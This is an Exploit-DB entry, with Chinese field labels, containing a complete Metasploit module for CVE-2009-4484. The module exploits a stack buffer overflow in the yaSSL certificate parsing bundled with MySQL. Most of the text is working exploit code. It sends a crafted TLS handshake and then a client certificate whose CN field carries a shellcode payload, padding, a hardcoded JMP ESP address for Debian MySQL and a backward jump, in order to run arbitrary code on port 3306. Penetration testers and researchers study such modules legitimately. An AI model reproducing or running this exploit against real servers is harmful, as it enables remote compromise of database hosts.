标题: MySQL - yaSSL CertDecoder::GetName Buffer Overflow (Metasploit) EDB-ID: 16850 CVE: 2009-4484 类型: REMOTE 平台: LINUX 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: mysql_yassl_getname.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'MySQL yaSSL CertDecoder::GetName Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the yaSSL (1.9.8 and earlier)
    implementation bundled with MySQL. By sending a specially crafted
    client certificate, an attacker can execute arbitrary code.

    This vulnerability is present within the CertDecoder::GetName function inside
    "taocrypt/src/asn.cpp". However, the stack buffer that is written to exists
    within a parent function's stack frame.

    NOTE: This vulnerability requires a non-default configuration. First, the attacker
    must be able to pass the host-based authentication. Next, the server must be
    configured to listen on an accessible network interface.  Lastly, the server
    must have been manually configured to use SSL.

    The binary from version 5.5.0-m2 was built with /GS and /SafeSEH. During testing
    on Windows XP SP3, these protections successfully prevented exploitation.

    Testing was also done with mysql on Ubuntu 9.04. Although the vulnerable code is
    present, both version 5.5.0-m2 built from source and version 5.0.75 from a binary
    package were not exploitable due to the use of the compiler's FORTIFY feature.

    Although suse11 was mentioned in the original blog post, the binary package they
    provide does not contain yaSSL or support SSL.
   },
   'Author'         => [ 'jduck' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2009-4484' ],
     [ 'BID', '37640' ],
     [ 'BID', '37943' ],
     [ 'BID', '37974' ],
     [ 'OSVDB', '61956' ],
     [ 'URL', 'http://secunia.com/advisories/38344/' ],
     [ 'URL', 'http://intevydis.blogspot.com/2010/01/mysq-yassl-stack-overflow.html' ]
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 1046,
     'BadChars' => "",
     'StackAdjustment' => -3500,
     'DisableNops' => true
    },
   'Platform'       => 'linux',
   'Targets'        =>
    [
     [ 'Automatic', { } ],
     [ 'Debian 5.0 - MySQL (5.0.51a-24+lenny2)',  { 'JmpEsp' => 0x0807dc34 } ]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jan 25 2010'))

  register_options([ Opt::RPORT(3306) ], self)
 end

 def exploit

  connect

  # read the mysql server hello :)
  version = nil
  if (buf = sock.get_once(-1, 5))
   #print_status("\n" + Rex::Text.to_hex_dump(buf))
   if (buf =~ /is not allowed to connect/)
    raise RuntimeError, 'The server refused our connection!'
   end

   len1,cmd = buf[0,5].unpack('VC')
   rest = buf[5,len1]
   idx = rest.index("\x00")
   if (idx)
    version = rest[0,idx]
    print_status("Server reports version: #{version}")
   end
  end

  # handle automatic target selection
  mytarget = nil
  if (target.name =~ /Automatic/)
   print_status("Attempting to locate a corresponding target")
   version = "(" + version + ")"
   targets.each { |tgt|
    if (tgt.name.include?(version))
     mytarget = tgt
    end
   }

   if (not mytarget)
    raise RuntimeError, 'Unable to detect target automatically'
   else
    print_status("Using automatically detected target: #{mytarget.name}")
   end
  else
   mytarget = target
   print_status("Trying target #{mytarget.name}...")
  end

  # create/send the hello packet
  hello = [0x01000020].pack('V')
  hello << "\x85\xae\x03\x00"+"\x00\x00\x00\x01"+"\x08\x00\x00\x00"
  hello << "\x00" * 20
  hello << "\x16\x03\x01\x00\x60\x01\x00\x00\x5c\x03\x01\x4a\x92\xce\xd1\xe1"
  hello << "\xab\x48\x51\xc8\x49\xa3\x5e\x97\x1a\xea\xc2\x99\x82\x33\x42\xd5"
  hello << "\x14\xbc\x05\x64\xdc\xb5\x48\xbd\x4c\x11\x55\x00\x00\x34\x00\x39"
  hello << "\x00\x38\x00\x35\x00\x16\x00\x13\x00\x0a\x00\x33\x00\x32\x00\x2f"
  hello << "\x00\x66\x00\x05\x00\x04\x00\x63\x00\x62\x00\x61\x00\x15\x00\x12"
  hello << "\x00\x09\x00\x65\x00\x64\x00\x60\x00\x14\x00\x11\x00\x08\x00\x06"
  hello << "\x00\x03\x02\x01\x00"
  sock.put(hello)


  # build a cn that will trigger the vulnerability
  cn = rand_text(payload_space - payload.encoded.length)
  cn << payload.encoded
  cn << [0,0].pack('VV') # memset(x,0,0); (this is x and the length)
  # NOTE: x in above (also gets passed to free())
  pad = 1074 - payload_space
  cn << rand_text(pad)
  cn << [mytarget['JmpEsp']].pack('V')
  distance = 4 + pad + 8 + payload.encoded.length
  cn << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

  cert = "\x2a\x86\x00\x84"
  cert << [cn.length].pack('N')
  cert << cn
  cert = "\x30"+
   "\x82\x01\x01"+
   "\x31"+
   "\x82\x01\x01"+
   "\x30"+
   "\x82\x01\x01"+
   "\x06"+
   "\x82\x00\x02" +
   cert

  cert = "\xa0\x03" +
   "\x02\x01\x02" +
   "\x02\x01\x00" +
   "\x30" + "\x0d" + "\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x04\x05\x00" +
   cert

  # wrap in 2 sequences
  cert = SNMP::BER.encode_tlv(0x30, cert)
  cert = SNMP::BER.encode_tlv(0x30, cert)

  cert1 = big_endian_24bit(cert.length) + cert
  certs = big_endian_24bit(cert1.length) + cert1

  handshake = "\x0b" +  big_endian_24bit(certs.length) + certs
  msg = "\x16\x03\x01"
  msg << [handshake.length].pack('n')
  msg << handshake

  sock.put(msg)

  handler
  disconnect
 end


 def big_endian_24bit(len)
  uno = (len >> 16) & 0xff
  dos = (len >> 8) & 0xff
  tre = len & 0xff
  [uno,dos,tre].pack('C*')
 end

end URL: https://www.exploit-db.com/exploits/16850